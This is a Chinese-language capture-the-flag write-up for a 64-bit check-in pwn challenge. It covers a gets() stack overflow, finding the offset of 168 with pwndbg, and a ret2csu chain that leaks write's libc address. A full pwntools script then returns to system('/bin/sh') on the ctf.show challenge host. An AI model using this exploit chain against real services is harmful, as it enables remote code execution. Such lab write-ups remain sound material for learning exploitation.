签到题

准备


64 位就开了 NX 保护

分析

main函数

1
2
3
4
5
6
7
8
9
int __fastcall main(int argc, const char **argv, const char **envp)
{
_BYTE v4[160]; // [rsp+0h] [rbp-A0h] BYREF

setvbuf(_bss_start, 0LL, 1, 0LL);
write(1, "[Welcome XCITC-CTF]\nnow,Try Pwn Me?\n", 0x24uLL);
gets(v4);
return 0;
}

gets 函数, 存在缓冲区溢出

思路:

根据题目介绍,一开始以为这题是 ret2libc ,这里没有 puts 函数,所以用 write 函数
因为 64 位传参需要寄存器,write 函数有三个参数需要三个寄存器且要考虑堆栈平衡的问题,所以通过 ROPgadget 指令进行查看

发现没有足够的寄存器
ida 中看到有 _libc_csu_init 函数,所以可以改打 ret2csu,着重看 _libc_csu_init 函数的汇编,有了可用的寄存器后,正常打 ret2libc
libc_csu_init 函数的汇编重点段

r13 对应 rdxr14 对应 rsir15 对应 rdi

gdb 得到偏移量

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
76
77
78
79
80
81
82
83
84
85
86
87
88
89
90
91
92
motaly@motaly-VMware-Virtual-Platform:~$ gdb r64
GNU gdb (Ubuntu 15.0.50.20240403-0ubuntu1) 15.0.50.20240403-git
Copyright (C) 2024 Free Software Foundation, Inc.
License GPLv3+: GNU GPL version 3 or later <http://gnu.org/licenses/gpl.html>
This is free software: you are free to change and redistribute it.
There is NO WARRANTY, to the extent permitted by law.
Type "show copying" and "show warranty" for details.
This GDB was configured as "x86_64-linux-gnu".
Type "show configuration" for configuration details.
For bug reporting instructions, please see:
<https://www.gnu.org/software/gdb/bugs/>.
Find the GDB manual and other documentation resources online at:
<http://www.gnu.org/software/gdb/documentation/>.

For help, type "help".
Type "apropos word" to search for commands related to "word"...
pwndbg: loaded 177 pwndbg commands and 46 shell commands. Type pwndbg [--shell | --all] [filter] for a list.
pwndbg: created $rebase, $base, $hex2ptr, $argv, $envp, $argc, $environ, $bn_sym, $bn_var, $bn_eval, $ida GDB functions (can be used with print/break)
Reading symbols from r64...

This GDB supports auto-downloading debuginfo from the following URLs:
<https://debuginfod.ubuntu.com>
Debuginfod has been disabled.
To make this setting permanent, add 'set debuginfod enabled off' to .gdbinit.
(No debugging symbols found in r64)
------- tip of the day (disable with set show-tips off) -------
Use patch <address> '<assembly>' to patch an address with given assembly code
pwndbg> cyclic 500
aaaaaaaabaaaaaaacaaaaaaadaaaaaaaeaaaaaaafaaaaaaagaaaaaaahaaaaaaaiaaaaaaajaaaaaaakaaaaaaalaaaaaaamaaaaaaanaaaaaaaoaaaaaaapaaaaaaaqaaaaaaaraaaaaaasaaaaaaataaaaaaauaaaaaaavaaaaaaawaaaaaaaxaaaaaaayaaaaaaazaaaaaabbaaaaaabcaaaaaabdaaaaaabeaaaaaabfaaaaaabgaaaaaabhaaaaaabiaaaaaabjaaaaaabkaaaaaablaaaaaabmaaaaaabnaaaaaaboaaaaaabpaaaaaabqaaaaaabraaaaaabsaaaaaabtaaaaaabuaaaaaabvaaaaaabwaaaaaabxaaaaaabyaaaaaabzaaaaaacbaaaaaaccaaaaaacdaaaaaaceaaaaaacfaaaaaacgaaaaaachaaaaaaciaaaaaacjaaaaaackaaaaaaclaaaaaacmaaa
pwndbg> r
Starting program: /home/motaly/r64
[Thread debugging using libthread_db enabled]
Using host libthread_db library "/lib/x86_64-linux-gnu/libthread_db.so.1".
[Welcome XCITC-CTF]
now,Try Pwn Me?
aaaaaaaabaaaaaaacaaaaaaadaaaaaaaeaaaaaaafaaaaaaagaaaaaaahaaaaaaaiaaaaaaajaaaaaaakaaaaaaalaaaaaaamaaaaaaanaaaaaaaoaaaaaaapaaaaaaaqaaaaaaaraaaaaaasaaaaaaataaaaaaauaaaaaaavaaaaaaawaaaaaaaxaaaaaaayaaaaaaazaaaaaabbaaaaaabcaaaaaabdaaaaaabeaaaaaabfaaaaaabgaaaaaabhaaaaaabiaaaaaabjaaaaaabkaaaaaablaaaaaabmaaaaaabnaaaaaaboaaaaaabpaaaaaabqaaaaaabraaaaaabsaaaaaabtaaaaaabuaaaaaabvaaaaaabwaaaaaabxaaaaaabyaaaaaabzaaaaaacbaaaaaaccaaaaaacdaaaaaaceaaaaaacfaaaaaacgaaaaaachaaaaaaciaaaaaacjaaaaaackaaaaaaclaaaaaacmaaa

Program received signal SIGSEGV, Segmentation fault.
0x0000000000400654 in main ()
LEGEND: STACK | HEAP | CODE | DATA | WX | RODATA
────────────────────────────────────────────────────────────────[ REGISTERS / show-flags off / show-compact-regs off ]─────────────────────────────────────────────────────────────────
RAX 0
RBX 0x7fffffffd818 ◂— 'haaaaaaciaaaaaacjaaaaaackaaaaaaclaaaaaacmaaa'
RCX 0x7ffff7e038e0 (_IO_2_1_stdin_) ◂— 0xfbad2288
RDX 0
RDI 0x7ffff7e05720 (_IO_stdfile_0_lock) ◂— 0
RSI 0x6022a1 ◂— 0x6261616161616161 ('aaaaaaab')
R8 0x602495 ◂— 0
R9 0
R10 1
R11 0x246
R12 1
R13 0
R14 0
R15 0x7ffff7ffd000 (_rtld_global) —▸ 0x7ffff7ffe2e0 ◂— 0
RBP 0x6161616161616175 ('uaaaaaaa')
RSP 0x7fffffffd6f8 ◂— 0x6161616161616176 ('vaaaaaaa')
RIP 0x400654 (main+87) ◂— ret
─────────────────────────────────────────────────────────────────────────[ DISASM / x86-64 / set emulate on ]──────────────────────────────────────────────────────────────────────────
► 0x400654 <main+87> ret <0x6161616161616176>










───────────────────────────────────────────────────────────────────────────────────────[ STACK ]───────────────────────────────────────────────────────────────────────────────────────
00:0000│ rsp 0x7fffffffd6f8 ◂— 0x6161616161616176 ('vaaaaaaa')
01:0008│ 0x7fffffffd700 ◂— 0x6161616161616177 ('waaaaaaa')
02:0010│ 0x7fffffffd708 ◂— 0x6161616161616178 ('xaaaaaaa')
03:0018│ 0x7fffffffd710 ◂— 0x6161616161616179 ('yaaaaaaa')
04:0020│ 0x7fffffffd718 ◂— 0x626161616161617a ('zaaaaaab')
05:0028│ 0x7fffffffd720 ◂— 0x6261616161616162 ('baaaaaab')
06:0030│ 0x7fffffffd728 ◂— 0x6261616161616163 ('caaaaaab')
07:0038│ 0x7fffffffd730 ◂— 0x6261616161616164 ('daaaaaab')
─────────────────────────────────────────────────────────────────────────────────────[ BACKTRACE ]─────────────────────────────────────────────────────────────────────────────────────
► 0 0x400654 main+87
1 0x6161616161616176 None
2 0x6161616161616177 None
3 0x6161616161616178 None
4 0x6161616161616179 None
5 0x626161616161617a None
6 0x6261616161616162 None
7 0x6261616161616163 None
───────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────
pwndbg> cyclic -l 0x6161616161616176
Finding cyclic pattern of 8 bytes: b'vaaaaaaa' (hex: 0x7661616161616161)
Found at offset 168

得到偏移量为 168
根据 ret2csu 的知识点写出对应的 csupayload

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
from pwn import*
from LibcSearcher import *
context(arch='amd64',log_level='debug',os='linux')
io = remote('pwn.challenge.ctf.show',28120)
# io = process('/home/motaly/r64')
elf=ELF('/home/motaly/r64')

csu1=0x4006BA
csu2=0x4006A0
rdi=0x4006c3
ret=0x4004a9

def csu(r12,r13,r14,r15,last):
payload=b'a'*168+p64(ret)+p64(csu1)
payload+=p64(0)+p64(1) #rbx #rbp
payload+=p64(r12)+p64(r13)+p64(r14)+p64(r15)
payload+=p64(csu2)
payload+=b'a'*56+p64(last)
io.sendlineafter(b'now,Try Pwn Me?',payload)

然后正常打 ret2libc

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
csu1=0x4006BA
csu2=0x4006A0
rdi=0x4006c3
ret=0x4004a9

def csu(r12,r13,r14,r15,last):
payload=b'a'*168+p64(ret)+p64(csu1)
payload+=p64(0)+p64(1) #rbx #rbp
payload+=p64(r12)+p64(r13)+p64(r14)+p64(r15) #r12 指向函数地址,r13-r15 传递参数
payload+=p64(csu2)
payload+=b'a'*56+p64(last)
io.sendlineafter(b'now,Try Pwn Me?',payload)

write_got=elf.got['write']
write_plt=elf.plt['write']
main=0x4005FD

# write(1(rdi), write_got(rsi), 8(rdx))
csu(write_got, 8, write_got, 1, main)

io.recv()
write_addr=u64(io.recv(6).ljust(8,b'\x00'))
log.success('write_addr: '+hex(write_addr))

libc=LibcSearcher("write", write_addr)
libc_base=write_addr-libc.dump('write')
log.success('libc_base :'+hex(libc_base))
system=libc_base+libc.dump('system')
bin_sh=libc_base+libc.dump("str_bin_sh")

payload=b'a'*168+p64(rdi)+p64(bin_sh)+p64(system)
io.sendlineafter(b'now,Try Pwn Me?',payload)

脚本

(动态 glibc :libc6_2.27-0ubuntu2_amd64 )

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
from pwn import*
from LibcSearcher import *
context(arch='amd64',log_level='debug',os='linux')
io = remote('pwn.challenge.ctf.show',28120)
# io = process('/home/motaly/r64')
elf=ELF('/home/motaly/r64')

csu1=0x4006BA
csu2=0x4006A0
rdi=0x4006c3
ret=0x4004a9

def csu(r12,r13,r14,r15,last):
payload=b'a'*168+p64(ret)+p64(csu1)
payload+=p64(0)+p64(1) #rbx #rbp
payload+=p64(r12)+p64(r13)+p64(r14)+p64(r15) # #r12 指向函数地址,r13-r15 传递参数
payload+=p64(csu2)
payload+=b'a'*56+p64(last)
io.sendlineafter(b'now,Try Pwn Me?',payload)

write_got=elf.got['write']
write_plt=elf.plt['write']
main=0x4005FD

# write(1(rdi), write_got(rsi), 8(rdx))
csu(write_got, 8, write_got, 1, main)

io.recv()
write_addr=u64(io.recv(6).ljust(8,b'\x00'))
log.success('write_addr: '+hex(write_addr))

libc=LibcSearcher("write", write_addr)
libc_base=write_addr-libc.dump('write')
log.success('libc_base :'+hex(libc_base))
system=libc_base+libc.dump('system')
bin_sh=libc_base+libc.dump("str_bin_sh")

payload=b'a'*168+p64(rdi)+p64(bin_sh)+p64(system)
io.sendlineafter(b'now,Try Pwn Me?',payload)

io.interactive()